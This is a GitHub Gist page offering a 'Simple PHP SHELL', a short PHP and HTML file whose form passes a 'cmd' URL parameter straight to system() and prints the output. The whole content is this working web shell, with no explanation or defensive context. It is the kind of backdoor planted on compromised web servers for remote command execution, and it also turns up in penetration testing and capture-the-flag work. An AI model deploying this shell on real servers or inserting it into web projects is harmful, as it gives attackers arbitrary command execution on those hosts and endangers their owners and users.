Skip to content

Instantly share code, notes, and snippets.

@sathishshan
Created June 2, 2020 04:00
Show Gist options
  • Save sathishshan/2025db61aee394d5ead63d0854f452ae to your computer and use it in GitHub Desktop.
Save sathishshan/2025db61aee394d5ead63d0854f452ae to your computer and use it in GitHub Desktop.
Simple PHP SHELL to Execute System Commands
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if($_GET['cmd'])
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment